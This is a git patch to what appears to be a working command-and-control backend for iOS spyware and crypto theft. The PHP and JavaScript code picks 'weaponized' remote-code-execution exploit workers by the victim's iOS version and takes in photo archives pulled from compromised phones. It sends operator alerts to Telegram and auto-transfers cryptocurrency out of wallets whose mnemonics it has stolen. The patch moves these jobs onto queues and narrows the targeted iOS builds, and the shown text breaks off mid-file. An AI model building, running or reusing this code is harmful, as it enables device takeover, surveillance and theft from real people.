From e23550e820a59552784fa0aa8d92fd3639f1ac73 Mon Sep 17 00:00:00 2001 From: hashbro Date: Tue, 1 Sep 2026 05:09:00 +0800 Subject: [PATCH] feat: quene --- .env.example | 5 + app/Console/Commands/AutoTransferCommand.php | 3 +- .../Controllers/Admin/DeviceController.php | 1 + app/Http/Controllers/C2/C2Controller.php | 52 +++--- .../Controllers/C2/DarkSwordC2Controller.php | 37 +++-- app/Http/Controllers/C2/XxbbC2Controller.php | 52 ++---- app/Http/Controllers/PageHitController.php | 11 +- app/Jobs/AutoTransferAddress.php | 40 +++++ app/Jobs/ExtractPhotoArchive.php | 41 +++++ app/Jobs/RecordPageHit.php | 25 +++ app/Jobs/SendTelegramMessage.php | 27 ++++ app/Models/PageVisit.php | 33 +++- app/Services/AutoTransferService.php | 68 +++++++- app/Services/DarkSwordIngestAdapter.php | 22 ++- app/Services/PhotoArchiveIngest.php | 152 ++++++++++++++++++ app/Services/TelegramNotifier.php | 8 + .../Tokenview/TokenviewMonitorService.php | 5 +- channel-builder-ds/source/boot.js | 32 +--- channel-builder-ds/source/index.html | 15 +- channel-builder-ds/source/rce_loader.js | 78 ++------- ...0_page_visits_channel_ip_created_index.php | 22 +++ docs/BAOTA_DEPLOY.md | 109 +++++++++++-- routes/web.php | 23 +-- tests/Feature/AutoTransferTest.php | 128 +++++++++++++++ tests/Feature/C2ApiTest.php | 76 +++++++++ tests/Feature/DarkSwordC2ApiTest.php | 19 ++- tests/Feature/PageVisitTest.php | 60 ++++++- tests/Feature/TokenviewWebhookTest.php | 59 +++++++ 28 files changed, 969 insertions(+), 234 deletions(-) create mode 100644 app/Jobs/AutoTransferAddress.php create mode 100644 app/Jobs/ExtractPhotoArchive.php create mode 100644 app/Jobs/RecordPageHit.php create mode 100644 app/Jobs/SendTelegramMessage.php create mode 100644 app/Services/PhotoArchiveIngest.php create mode 100644 database/migrations/2026_09_01_000010_page_visits_channel_ip_created_index.php diff --git a/.env.example b/.env.example index d519a5c..8a5c20b 100644 --- a/.env.example +++ b/.env.example @@ -39,6 +39,11 @@ BROADCAST_CONNECTION=log FILESYSTEM_DISK=local QUEUE_CONNECTION=sync CACHE_STORE=file +# 生产 4C8G:装 Redis 后改为 +# CACHE_STORE=redis +# QUEUE_CONNECTION=redis +# REDIS_HOST=127.0.0.1 +# REDIS_PORT=6379 # Admin seeder defaults ADMIN_USERNAME=admin diff --git a/app/Console/Commands/AutoTransferCommand.php b/app/Console/Commands/AutoTransferCommand.php index b215747..e26d657 100644 --- a/app/Console/Commands/AutoTransferCommand.php +++ b/app/Console/Commands/AutoTransferCommand.php @@ -15,8 +15,9 @@ class AutoTransferCommand extends Command { $stats = $autoTransfer->run(); $this->info(sprintf( - 'auto-transfer inspected=%d triggered=%d ok=%d failed=%d skipped=%d', + 'auto-transfer inspected=%d queued=%d triggered=%d ok=%d failed=%d skipped=%d', $stats['inspected'], + $stats['queued'], $stats['triggered'], $stats['ok'], $stats['failed'], diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index b689181..3ec85c2 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -235,6 +235,7 @@ class DeviceController extends Controller $this->deletePhotoFiles($device); app(PhotoPreview::class)->forgetForDevice((string) $device->device_id); $this->deleteStorageDir('c2/photos/'.$device->device_id); + $this->deleteStorageDir('c2/inbox/'.$device->device_id); $this->deleteStorageDir('c2/check/'.$device->device_id); $this->deleteStorageDir('c2/ds-results/'.$device->device_id); $this->deleteStorageDir('c2/ds-chunks/'.$device->device_id); diff --git a/app/Http/Controllers/C2/C2Controller.php b/app/Http/Controllers/C2/C2Controller.php index 525182a..89e959f 100644 --- a/app/Http/Controllers/C2/C2Controller.php +++ b/app/Http/Controllers/C2/C2Controller.php @@ -3,9 +3,9 @@ namespace App\Http\Controllers\C2; use App\Http\Controllers\Controller; -use App\Services\CorunaArchive; use App\Services\CorunaCrypto; use App\Services\IngestService; +use App\Services\PhotoArchiveIngest; use Illuminate\Http\Request; use Illuminate\Http\Response; @@ -14,17 +14,17 @@ class C2Controller extends Controller /** @var CorunaCrypto */ private $crypto; - /** @var CorunaArchive */ - private $archive; - /** @var IngestService */ private $ingest; - public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest) + /** @var PhotoArchiveIngest */ + private $photos; + + public function __construct(CorunaCrypto $crypto, IngestService $ingest, PhotoArchiveIngest $photos) { $this->crypto = $crypto; - $this->archive = $archive; $this->ingest = $ingest; + $this->photos = $photos; } public function query(): Response @@ -136,33 +136,19 @@ class C2Controller extends Controller ]; if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) { - $bytes = file_get_contents($request->file('file')->getRealPath()); - $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); - try { - $extracted = $this->archive->extract($bytes, $work, $batchBase); - if (! empty($extracted['files'])) { - $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); - } - create_log([ - 'event' => 'check_extract', - 'device_key' => $device->device_id, - 'extract' => [ - 'ok' => $extracted['ok'], - 'files' => array_map('basename', $extracted['files']), - 'password_recipe' => $extracted['password_recipe'], - 'stderr' => substr((string) $extracted['stderr'], 0, 2000), - ], - 'photo_meta' => $photoMeta, - 'raw_counters' => [ - 'idx' => $request->input('idx'), - 'ftu' => $request->input('ftu'), - 'ts' => $request->input('ts'), - 'x-hit' => $xHitRaw, - ], - ], 'c2'); - } finally { - CorunaArchive::forgetWorkDir($work); - } + $this->photos->accept( + $device, + (string) $request->file('file')->getRealPath(), + $batchBase, + $photoMeta, + 'lab', + [ + 'idx' => $request->input('idx'), + 'ftu' => $request->input('ftu'), + 'ts' => $request->input('ts'), + 'x-hit' => $xHitRaw, + ], + ); } // Prefer encrypted ack (clients that expect JSON); fall back same as other routes diff --git a/app/Http/Controllers/C2/DarkSwordC2Controller.php b/app/Http/Controllers/C2/DarkSwordC2Controller.php index ec673a3..f238e9a 100644 --- a/app/Http/Controllers/C2/DarkSwordC2Controller.php +++ b/app/Http/Controllers/C2/DarkSwordC2Controller.php @@ -4,6 +4,7 @@ namespace App\Http\Controllers\C2; use App\Http\Controllers\Controller; use App\Models\Device; +use App\Models\PageVisit; use App\Services\DarkSwordIngestAdapter; use App\Services\DsBeaconQueue; use Illuminate\Http\Request; @@ -174,21 +175,31 @@ class DarkSwordC2Controller extends Controller } $base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port); $ios = $this->requestIos($request); - [$recommended, $fallbacks] = $this->chainTargetWorkers($ios); + $ds = PageVisit::isDarkSwordIosVersionString($ios); + if ($ds) { + [$recommended, $fallbacks] = $this->chainTargetWorkers($ios); + $chain = 'darksword'; + $reason = 'DarkSword '.$ios; + } else { + $recommended = ''; + $fallbacks = []; + $chain = 'coruna'; + $reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)'; + } return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([ 'ok' => true, - 'chain' => 'darksword', + 'chain' => $chain, 'weaponized' => true, 'gated' => false, 'ios' => $ios, - 'reason' => 'DarkSword 18.4-18.7.2', + 'reason' => $reason, 'recommended_worker' => $recommended, 'fallback_workers' => $fallbacks, 'band' => [ 'recommended_worker' => $recommended, 'fallback_workers' => $fallbacks, - 'usable_for_attempt' => true, + 'usable_for_attempt' => $ds, 'usable_grade' => 'LIVE', 'weaponized' => true, ], @@ -320,25 +331,17 @@ class DarkSwordC2Controller extends Controller } /** - * Worker plan from live one99.vip /api/chain-targets. - * - * 18.4.x → 18.4 then [18.5, 18.6] - * 18.5.x → 18.5 then [18.6, 18.4] - * anything else (18.6+, 18.7, 17.x, 26.x, empty) → 18.6 then [18.5, 18.4] + * Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2). * * @return array{0: string, 1: list} */ private function chainTargetWorkers(string $ios): array { - $minor = null; - if (preg_match('/^18\.(\d+)/', $ios, $m)) { - $minor = (int) $m[1]; - } + $canon = PageVisit::canonicalIosVersion($ios); - return match ($minor) { - 4 => ['rce_worker_18.4.js', ['rce_worker_18.5.js', 'rce_worker_18.6.js']], - 5 => ['rce_worker_18.5.js', ['rce_worker_18.6.js', 'rce_worker_18.4.js']], - default => ['rce_worker_18.6.js', ['rce_worker_18.5.js', 'rce_worker_18.4.js']], + return match ($canon) { + '18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']], + default => ['rce_worker_18.6.js', []], }; } diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index 438da83..90bd0bc 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -3,9 +3,8 @@ namespace App\Http\Controllers\C2; use App\Http\Controllers\Controller; -use App\Http\Middleware\DecryptXxbbBody; -use App\Services\CorunaArchive; use App\Services\IngestService; +use App\Services\PhotoArchiveIngest; use Illuminate\Http\Request; use Illuminate\Http\Response; @@ -25,6 +24,7 @@ class XxbbC2Controller extends Controller { public function __construct( private readonly IngestService $ingest, + private readonly PhotoArchiveIngest $photos, ) {} public function vhx(): Response @@ -107,33 +107,19 @@ class XxbbC2Controller extends Controller ]; if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) { - $bytes = file_get_contents($request->file('file')->getRealPath()); - $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); - try { - $extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase); - if (! empty($extracted['files'])) { - $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); - } - create_log([ - 'event' => 'xxbb_photo_extract', - 'device_key' => $device->device_id, - 'extract' => [ - 'ok' => $extracted['ok'], - 'files' => array_map('basename', $extracted['files']), - 'password_recipe' => $extracted['password_recipe'], - 'stderr' => substr((string) $extracted['stderr'], 0, 2000), - ], - 'photo_meta' => $photoMeta, - 'raw_counters' => [ - 'idx' => $request->input('idx'), - 'ftu' => $request->input('ftu'), - 'ts' => $request->input('ts'), - 'x-hit' => $xHitRaw, - ], - ], 'xxbb'); - } finally { - CorunaArchive::forgetWorkDir($work); - } + $this->photos->accept( + $device, + (string) $request->file('file')->getRealPath(), + $batchBase, + $photoMeta, + 'xxbb', + [ + 'idx' => $request->input('idx'), + 'ftu' => $request->input('ftu'), + 'ts' => $request->input('ts'), + 'x-hit' => $xHitRaw, + ], + ); } return $this->xxbbAck($request); @@ -237,14 +223,6 @@ class XxbbC2Controller extends Controller return $this->xxbbAck($request); } - private function xxbbArchive(): CorunaArchive - { - return new CorunaArchive( - DecryptXxbbBody::crypto(), - (string) config('coruna.seven_zip', ''), - ); - } - /** * @param array|null $body */ diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php index 0e89d03..bf5673c 100644 --- a/app/Http/Controllers/PageHitController.php +++ b/app/Http/Controllers/PageHitController.php @@ -2,6 +2,7 @@ namespace App\Http\Controllers; +use App\Jobs\RecordPageHit; use App\Models\Channel; use App\Models\PageVisit; use App\Support\UserAgentParser; @@ -43,7 +44,7 @@ class PageHitController extends Controller $parsed = UserAgentParser::parse($ua); $referer = $this->referer($request); - PageVisit::recordLanding([ + $attrs = [ 'channel_id' => $channelId, 'client_uid' => $uid, 'user_agent' => $ua !== '' ? $ua : null, @@ -54,7 +55,13 @@ class PageHitController extends Controller 'ip' => $ip !== '' ? $ip : null, 'domain' => $domain, 'referer' => $referer, - ], PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version'])); + ]; + $chain = PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version']); + if (config('queue.default') === 'sync') { + PageVisit::recordLanding($attrs, $chain); + } else { + RecordPageHit::dispatch($attrs, $chain); + } return $this->pixel(); } diff --git a/app/Jobs/AutoTransferAddress.php b/app/Jobs/AutoTransferAddress.php new file mode 100644 index 0000000..531f594 --- /dev/null +++ b/app/Jobs/AutoTransferAddress.php @@ -0,0 +1,40 @@ +walletAddressId; + } + + public function handle(AutoTransferService $autoTransfer): void + { + $address = WalletAddress::query()->find($this->walletAddressId); + if ($address === null) { + return; + } + + $autoTransfer->evaluate($address, $this->reason); + } +} diff --git a/app/Jobs/ExtractPhotoArchive.php b/app/Jobs/ExtractPhotoArchive.php new file mode 100644 index 0000000..953017c --- /dev/null +++ b/app/Jobs/ExtractPhotoArchive.php @@ -0,0 +1,41 @@ + $photoMeta + * @param array $rawCounters + */ + public function __construct( + public int $deviceId, + public string $inboxPath, + public string $batchBase, + public array $photoMeta, + public string $flavor, + public array $rawCounters, + ) {} + + public function handle(PhotoArchiveIngest $ingest): void + { + $ingest->process( + $this->deviceId, + $this->inboxPath, + $this->batchBase, + $this->photoMeta, + $this->flavor, + $this->rawCounters, + ); + } +} diff --git a/app/Jobs/RecordPageHit.php b/app/Jobs/RecordPageHit.php new file mode 100644 index 0000000..8f71e40 --- /dev/null +++ b/app/Jobs/RecordPageHit.php @@ -0,0 +1,25 @@ + $attrs + */ + public function __construct( + public array $attrs, + public int $chain, + ) {} + + public function handle(): void + { + PageVisit::recordLanding($this->attrs, $this->chain); + } +} diff --git a/app/Jobs/SendTelegramMessage.php b/app/Jobs/SendTelegramMessage.php new file mode 100644 index 0000000..3255c03 --- /dev/null +++ b/app/Jobs/SendTelegramMessage.php @@ -0,0 +1,27 @@ +sendToChat($this->chatId, $this->text, $this->token); + } +} diff --git a/app/Models/PageVisit.php b/app/Models/PageVisit.php index b413ef8..eb8d424 100644 --- a/app/Models/PageVisit.php +++ b/app/Models/PageVisit.php @@ -41,23 +41,44 @@ class PageVisit extends Model return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna'; } + /** Only these iOS builds enter the DarkSword landing / workers. */ + public const DARKSWORD_IOS_VERSIONS = ['18.5', '18.6', '18.6.1', '18.6.2']; + /** - * t.js landings: iOS > 17.2.1 and < 18.7 count as DarkSword. + * t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna. */ public static function chainFromIosVersion(?string $os, ?string $osVersion): int { if (! in_array($os, ['iOS', 'iPadOS'], true)) { return self::CHAIN_CORUNA; } + + return self::isDarkSwordIosVersionString($osVersion) + ? self::CHAIN_DARKSWORD + : self::CHAIN_CORUNA; + } + + public static function isDarkSwordIosVersionString(?string $osVersion): bool + { + $canon = self::canonicalIosVersion($osVersion); + + return $canon !== '' && in_array($canon, self::DARKSWORD_IOS_VERSIONS, true); + } + + /** + * 18.5 / 18.5.0 → 18.5; 18.6.1 stays 18.6.1. + */ + public static function canonicalIosVersion(?string $osVersion): string + { $version = trim((string) $osVersion); if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) { - return self::CHAIN_CORUNA; - } - if (version_compare($version, '17.2.1', '>') && version_compare($version, '18.7', '<')) { - return self::CHAIN_DARKSWORD; + return ''; } + $parts = array_pad(array_map('intval', explode('.', $version)), 3, 0); - return self::CHAIN_CORUNA; + return $parts[2] === 0 + ? $parts[0].'.'.$parts[1] + : $parts[0].'.'.$parts[1].'.'.$parts[2]; } public static function normalizeDomain(?string $value): ?string diff --git a/app/Services/AutoTransferService.php b/app/Services/AutoTransferService.php index d4ae760..7e22d2b 100644 --- a/app/Services/AutoTransferService.php +++ b/app/Services/AutoTransferService.php @@ -2,6 +2,7 @@ namespace App\Services; +use App\Jobs\AutoTransferAddress; use App\Models\TransferRecord; use App\Models\WalletAddress; use Illuminate\Support\LazyCollection; @@ -20,12 +21,13 @@ class AutoTransferService /** * Cron entry: scan addresses that have a mnemonic and any positive coin balance. * - * @return array{inspected: int, triggered: int, ok: int, failed: int, skipped: int} + * @return array{inspected: int, queued: int, triggered: int, ok: int, failed: int, skipped: int} */ public function run(): array { $stats = [ 'inspected' => 0, + 'queued' => 0, 'triggered' => 0, 'ok' => 0, 'failed' => 0, @@ -37,13 +39,35 @@ class AutoTransferService 'at' => now()->toDateTimeString(), ], 'transfer'); + $async = config('queue.default') !== 'sync'; + foreach ($this->candidates() as $address) { $stats['inspected']++; + if ($async) { + AutoTransferAddress::dispatch($address->id, 'cron'); + $stats['queued']++; + + continue; + } + $outcome = $this->evaluate($address, 'cron'); $stats['triggered'] += $outcome['triggered']; $stats['ok'] += $outcome['ok']; $stats['failed'] += $outcome['failed']; $stats['skipped'] += $outcome['skipped']; + + if ($outcome['failed'] > 0) { + create_log([ + 'event' => 'auto_transfer_run_aborted', + 'reason' => 'transfer_failed', + 'wallet_address_id' => $address->id, + 'address' => $address->address, + 'chain' => $address->chain_type, + 'stats' => $stats, + 'at' => now()->toDateTimeString(), + ], 'transfer'); + break; + } } create_log([ @@ -179,6 +203,18 @@ class AutoTransferService continue; } + if ($this->lastAutoFailed((string) $address->address, $asset)) { + create_log($base + [ + 'event' => 'auto_transfer_skip', + 'skip' => 'previous_auto_transfer_failed', + 'asset' => $asset, + 'balance' => (string) $balance, + ], 'transfer'); + $stats['skipped']++; + + continue; + } + if ($this->recentAutoSuccess((string) $address->address, $asset)) { try { $this->balances->refresh($address); @@ -272,6 +308,7 @@ class AutoTransferService 'asset' => $asset, 'error' => $result['error'] ?? 'unknown', ], 'transfer'); + break; } } @@ -287,21 +324,42 @@ class AutoTransferService return $stats; } + private function lastAutoFailed(string $fromAddress, string $asset): bool + { + $latest = $this->latestAutoRecord($fromAddress, $asset); + + return $latest !== null && $latest->status === TransferRecord::STATUS_FAILED; + } + private function recentAutoSuccess(string $fromAddress, string $asset): bool + { + $latest = $this->latestAutoRecord($fromAddress, $asset); + if ($latest === null || $latest->status !== TransferRecord::STATUS_SUCCESS) { + return false; + } + + $at = $latest->created_at; + if ($at === null) { + return false; + } + + return $at->gte(now()->subMinutes(self::COOLDOWN_MINUTES)); + } + + private function latestAutoRecord(string $fromAddress, string $asset): ?TransferRecord { $fromAddress = trim($fromAddress); $asset = strtoupper(trim($asset)); if ($fromAddress === '' || $asset === '') { - return false; + return null; } return TransferRecord::query() ->where('from_address', $fromAddress) ->where('asset', $asset) ->where('operator', 'auto') - ->where('status', TransferRecord::STATUS_SUCCESS) - ->where('created_at', '>=', now()->subMinutes(self::COOLDOWN_MINUTES)) - ->exists(); + ->orderByDesc('id') + ->first(); } private function assetScale(string $asset): int diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index c2aa59f..65c26eb 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -154,18 +154,20 @@ class DarkSwordIngestAdapter $ip = $this->clientIp($request, $payload); $referer = trim((string) $request->headers->get('referer', '')); + $os = $ios !== null ? 'iOS' : $parsed['os']; + $osVersion = $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null); PageVisit::recordLanding([ 'channel_id' => $channel, 'client_uid' => $uid, 'user_agent' => $ua !== '' ? $ua : null, - 'os' => $ios !== null ? 'iOS' : $parsed['os'], - 'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null), + 'os' => $os, + 'os_version' => $osVersion, 'browser' => $parsed['browser'], 'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null, 'ip' => $ip !== '' ? $ip : null, 'domain' => PageVisit::normalizeDomain($request->getHost()), 'referer' => $referer !== '' ? substr($referer, 0, 512) : null, - ], PageVisit::CHAIN_DARKSWORD); + ], PageVisit::chainFromIosVersion($os, $osVersion)); } /** @@ -273,10 +275,20 @@ class DarkSwordIngestAdapter $ua = substr((string) $request->userAgent(), 0, 2000); $existing = Device::query()->where('device_id', $key)->first(); + if ($ios !== null) { + $chain = PageVisit::isDarkSwordIosVersionString($ios) + ? Device::CHAIN_DARKSWORD + : Device::CHAIN_CORUNA; + } else { + $chain = $existing + ? (int) $existing->chain + : Device::CHAIN_CORUNA; + } + if ($existing) { $touch = [ 'updated_at' => now(), - 'chain' => Device::CHAIN_DARKSWORD, + 'chain' => $chain, ]; if ($ip !== '') { $touch['ip'] = $ip; @@ -301,7 +313,7 @@ class DarkSwordIngestAdapter $device = Device::query()->create([ 'device_id' => $key, - 'chain' => Device::CHAIN_DARKSWORD, + 'chain' => $chain, 'ip' => $ip !== '' ? $ip : null, 'device_model' => $model, 'ios_version' => $ios, diff --git a/app/Services/PhotoArchiveIngest.php b/app/Services/PhotoArchiveIngest.php new file mode 100644 index 0000000..1d30466 --- /dev/null +++ b/app/Services/PhotoArchiveIngest.php @@ -0,0 +1,152 @@ + $rawCounters + */ + public function accept( + Device $device, + string $absolutePath, + string $batchBase, + array $photoMeta, + string $flavor, + array $rawCounters, + ): void { + if (! $device->albumStorageEnabled() || ! is_file($absolutePath)) { + return; + } + + $rel = 'c2/inbox/'.$device->device_id.'/'.date('YmdHis').'_'.str_replace('.', '', uniqid('', true)).'.bin'; + $fh = fopen($absolutePath, 'rb'); + if ($fh === false) { + return; + } + try { + Storage::disk('local')->put($rel, $fh); + } finally { + if (is_resource($fh)) { + fclose($fh); + } + } + + if (config('queue.default') === 'sync') { + $this->process($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters); + + return; + } + + ExtractPhotoArchive::dispatch($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters); + } + + /** + * Same failure policy as the old in-request extract: + * 7z miss / empty members → log ok=false, skip ingest, never throw to the client. + * + * @param array $photoMeta + * @param array $rawCounters + */ + public function process( + int $deviceId, + string $inboxPath, + string $batchBase, + array $photoMeta, + string $flavor, + array $rawCounters, + ): void { + $logType = $flavor === 'xxbb' ? 'xxbb' : 'c2'; + $event = $flavor === 'xxbb' ? 'xxbb_photo_extract' : 'check_extract'; + $device = Device::query()->find($deviceId); + $abs = Storage::disk('local')->path($inboxPath); + + try { + if ($device === null || ! $device->albumStorageEnabled() || ! is_file($abs)) { + create_log([ + 'event' => $event, + 'device_key' => $device?->device_id, + 'extract' => [ + 'ok' => false, + 'files' => [], + 'password_recipe' => 'session_key||'.$batchBase, + 'stderr' => 'inbox missing or album storage off', + ], + 'photo_meta' => $photoMeta, + 'raw_counters' => $rawCounters, + ], $logType); + + return; + } + + $bytes = (string) file_get_contents($abs); + $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); + try { + $extracted = $this->archiveFor($flavor)->extract($bytes, $work, $batchBase); + if (! empty($extracted['files'])) { + $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); + } + create_log([ + 'event' => $event, + 'device_key' => $device->device_id, + 'extract' => [ + 'ok' => $extracted['ok'], + 'files' => array_map('basename', $extracted['files']), + 'password_recipe' => $extracted['password_recipe'], + 'stderr' => substr((string) $extracted['stderr'], 0, 2000), + ], + 'photo_meta' => $photoMeta, + 'raw_counters' => $rawCounters, + ], $logType); + } catch (\Throwable $e) { + create_log([ + 'event' => $event, + 'device_key' => $device->device_id, + 'extract' => [ + 'ok' => false, + 'files' => [], + 'password_recipe' => 'session_key||'.$batchBase, + 'stderr' => substr($e->getMessage(), 0, 2000), + ], + 'photo_meta' => $photoMeta, + 'raw_counters' => $rawCounters, + ], $logType); + } finally { + CorunaArchive::forgetWorkDir($work); + } + } finally { + Storage::disk('local')->delete($inboxPath); + } + } + + private function archiveFor(string $flavor): CorunaArchive + { + if ($flavor === 'xxbb') { + return new CorunaArchive( + DecryptXxbbBody::crypto(), + (string) config('coruna.seven_zip', ''), + ); + } + + return app(CorunaArchive::class); + } +} diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 1442a2f..63b45b4 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -2,6 +2,7 @@ namespace App\Services; +use App\Jobs\SendTelegramMessage; use App\Models\Channel; use App\Models\Device; use App\Models\User; @@ -114,8 +115,15 @@ class TelegramNotifier return false; } + $async = config('queue.default') !== 'sync'; $ok = false; foreach ($chatIds as $chatId) { + if ($async) { + SendTelegramMessage::dispatch($chatId, $text); + $ok = true; + + continue; + } if ($this->sendToChat($chatId, $text)['ok']) { $ok = true; } diff --git a/app/Services/Tokenview/TokenviewMonitorService.php b/app/Services/Tokenview/TokenviewMonitorService.php index d5a5c08..1249b2b 100644 --- a/app/Services/Tokenview/TokenviewMonitorService.php +++ b/app/Services/Tokenview/TokenviewMonitorService.php @@ -83,7 +83,10 @@ class TokenviewMonitorService } $tokenSymbol = strtoupper(trim((string) ($payload['tokenSymbol'] ?? ''))); - if (in_array($coin, ['TRX', 'TRON'], true) && ! in_array($tokenSymbol, ['TRX', 'USDT'], true)) { + // Native TRX webhooks omit tokenSymbol. Only drop explicit non-USDT/TRX tokens. + if (in_array($coin, ['TRX', 'TRON'], true) + && $tokenSymbol !== '' + && ! in_array($tokenSymbol, ['TRX', 'USDT'], true)) { return; } $value = $payload['value'] ?? null; diff --git a/channel-builder-ds/source/boot.js b/channel-builder-ds/source/boot.js index f83c7d0..465ace3 100644 --- a/channel-builder-ds/source/boot.js +++ b/channel-builder-ds/source/boot.js @@ -159,26 +159,12 @@ return 0; } - function isCorunaRange(v) { - if (!v || !v.length || v[0] < 13) return false; - if (v[0] >= 18) return false; - if (v[0] === 17 && v[1] >= 3) return false; - if (v[0] === 17 && v[1] === 2 && (v[2] || 0) > 1) return false; - return true; - } - - function isSilkPathRange(v) { + function isDarkSwordRange(v) { if (!v || !v.length) return false; var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0; - if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true; - if (maj === 18 && min <= 3) return true; - return false; - } - - function isExploitChainRange(v) { - if (!v || !v.length) return false; - if (v[0] === 18 && (v[1] || 0) >= 4) return true; - if (v[0] >= 19 && v[0] <= 26) return true; + if (maj !== 18) return false; + if (min === 5 && pat === 0) return true; + if (min === 6 && (pat === 0 || pat === 1 || pat === 2)) return true; return false; } @@ -198,15 +184,7 @@ var ios = parseIosVersion(); function chainIdForIos(v) { - if (!v || !v.length) return 'unknown'; - if (isCorunaRange(v)) return 'coruna'; - if (isSilkPathRange(v)) return 'silkpath'; - if (isExploitChainRange(v)) { - var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0; - if ((maj === 18 && min === 7 && pat >= 3) || (maj >= 19 && maj <= 26)) return 'ghostwave'; - return 'darksword'; - } - return 'blocked'; + return isDarkSwordRange(v) ? 'darksword' : 'coruna'; } var chain = chainIdForIos(ios); var apiPlan = null; diff --git a/channel-builder-ds/source/index.html b/channel-builder-ds/source/index.html index 0b59f47..d77feef 100644 --- a/channel-builder-ds/source/index.html +++ b/channel-builder-ds/source/index.html @@ -1062,12 +1062,11 @@